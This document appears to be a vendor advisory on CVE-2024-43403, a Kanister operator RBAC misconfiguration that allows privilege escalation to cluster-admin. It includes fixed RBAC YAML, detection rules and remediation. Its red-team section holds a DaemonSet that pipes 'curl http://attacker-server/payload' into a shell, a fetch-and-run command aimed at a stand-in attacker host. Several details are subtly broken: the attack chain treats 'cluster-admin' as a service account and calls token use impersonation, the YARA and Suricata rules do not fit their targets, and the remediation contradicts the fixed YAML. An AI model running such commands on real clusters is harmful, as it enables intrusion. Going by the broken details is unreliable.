CVE-2024-43403

Executive Summary

CVE-2024-43403 is a critical privilege escalation vulnerability in Kanister, a Kubernetes-native data protection workflow management tool. The flaw arises from the default deployment of a default-kanister-operator pod that is bound to the Kubernetes built-in edit ClusterRole via a ClusterRoleBinding. The edit ClusterRole grants excessive permissions, including create/patch/update on DaemonSets, create on ServiceAccount tokens, and impersonate on ServiceAccounts. An attacker with access to a worker node running this component can leverage these permissions to escalate privileges to cluster-admin level, potentially compromising the entire Kubernetes cluster.

The vulnerability has a CVSS score of 8.8 (High) and is currently unpatched. No public exploit code or proof-of-concept is available, but the attack vector is well-understood due to the misconfiguration of Kubernetes RBAC.

Supply Chain & Package Security

Kanister is distributed as a container image and Helm chart. The vulnerable component (default-kanister-operator) is part of the default installation. Organizations using Kanister should audit their deployments for this specific ClusterRoleBinding and consider restricting the operator’s permissions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires access to a worker node.
• Attack Complexity (AC): Low (L) – No special conditions needed.
• Privileges Required (PR): Low (L) – Attacker needs initial access to a node.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Changed (C) – Escalation affects resources beyond the compromised node.
• Confidentiality (C): High (H) – Full cluster data access.
• Integrity (I): High (H) – Ability to modify cluster resources.
• Availability (A): High (H) – Potential to disrupt cluster operations.

Threat Level: Critical – Exploitation can lead to full cluster compromise.

Deep Dive & Mechanics

The vulnerability is rooted in Kubernetes RBAC misconfiguration. The default-kanister-operator deployment is bound to the edit ClusterRole, which is a default Kubernetes role intended for editing resources but not for security-sensitive operations. However, the edit role includes:

• create/patch/update on DaemonSets – Allows deploying privileged pods.
• create on ServiceAccount tokens – Enables creating tokens for any ServiceAccount.
• impersonate on ServiceAccounts – Allows impersonating any ServiceAccount.

An attacker on a worker node can:

1. Create a malicious DaemonSet that runs a privileged container with host network access.
2. Create a ServiceAccount token for a high-privilege ServiceAccount (e.g., cluster-admin).
3. Impersonate that ServiceAccount to execute commands with elevated privileges.

This chain effectively bypasses namespace isolation and grants cluster-admin rights.

Vulnerable vs. Patched Code

Vulnerable Configuration (YAML):

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: kanister-operator-edit
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: edit
subjects:
- kind: ServiceAccount
  name: default-kanister-operator
  namespace: kanister

Patched Configuration (Recommended):

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: kanister-operator-restricted
rules:
- apiGroups: [""]
  resources: ["pods", "persistentvolumeclaims"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: ["batch"]
  resources: ["jobs"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
# No DaemonSet, ServiceAccount token, or impersonate permissions
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: kanister-operator-restricted
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: kanister-operator-restricted
subjects:
- kind: ServiceAccount
  name: default-kanister-operator
  namespace: kanister

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites: Access to a worker node running the default-kanister-operator pod (e.g., via compromised container or SSH).

Step 1: Create a malicious DaemonSet to gain host access.

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: malicious-daemon
  namespace: kanister
spec:
  selector:
    matchLabels:
      app: malicious
  template:
    metadata:
      labels:
        app: malicious
    spec:
      hostNetwork: true
      containers:
      - name: attacker
        image: alpine:latest
        command: ["/bin/sh"]
        args: ["-c", "apk add curl && curl http://attacker-server/payload | sh"]

Step 2: Create a ServiceAccount token for cluster-admin.

kubectl create token cluster-admin --namespace kube-system

Step 3: Impersonate the ServiceAccount.

kubectl --token=<token> auth can-i --list
kubectl --token=<token> get pods --all-namespaces

Blue Team (Detection & Hardening)

Detection:

• Monitor for unexpected DaemonSet creations in the kanister namespace.
• Alert on create or impersonate API calls involving ServiceAccounts.
• Use Kubernetes audit logs to detect anomalous RBAC usage.

Hardening:

• Replace the edit ClusterRole with a custom, least-privilege role.
• Apply Pod Security Standards (restricted) to the kanister namespace.
• Use network policies to limit egress from the operator pod.
• Regularly audit ClusterRoleBindings with kubectl get clusterrolebindings -o yaml.

Indicators of Compromise (IOCs)

• Kubernetes Audit Logs:
  • user.username: system:serviceaccount:kanister:default-kanister-operator
  • verb: create on daemonsets or serviceaccounts/token
  • verb: impersonate on serviceaccounts
• Network Connections: Outbound connections from default-kanister-operator pod to external IPs.
• Pod Anomalies: Unexpected DaemonSets in the kanister namespace.
• ServiceAccount Tokens: Creation of tokens for cluster-admin or other high-privilege accounts.

Detection Engineering

YARA Rule

rule CVE_2024_43403_Kanister_PrivEsc {
    meta:
        description = "Detects Kanister operator ClusterRoleBinding with edit role"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-43403"
    strings:
        $role = "edit"
        $binding = "ClusterRoleBinding"
        $subject = "default-kanister-operator"
    condition:
        all of them
}

Sigma Rule

title: Kanister Operator Excessive RBAC Permissions
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects ClusterRoleBinding with edit role for Kanister operator
author: Valters IT
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        objectRef.resource: "clusterrolebindings"
        objectRef.name: "kanister-operator-edit"
        verb: "create"
    condition: selection
falsepositives:
    - Legitimate Kanister deployments (if intended)
level: high
tags:
    - attack.privilege_escalation
    - cve.2024.43403

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-43403 Kanister Operator Outbound Connection"; flow:to_server; content:"default-kanister-operator"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Replace the edit ClusterRole with a custom role that only grants necessary permissions (e.g., get/list/watch on PVCs, create/update/patch/delete on Jobs).
2. Apply a NetworkPolicy to restrict egress from the kanister namespace.
3. Enable Kubernetes audit logging and monitor for suspicious RBAC usage.

Long-Term Fix:

• Wait for an official patch from Kanister. In the meantime, fork the Helm chart and modify the RBAC configuration.
• Consider using a service mesh (e.g., Istio) to enforce mTLS and fine-grained access control.

Workaround:

• Delete the default-kanister-operator deployment if not needed, or run it in a dedicated namespace with strict Pod Security Standards.

Valters IT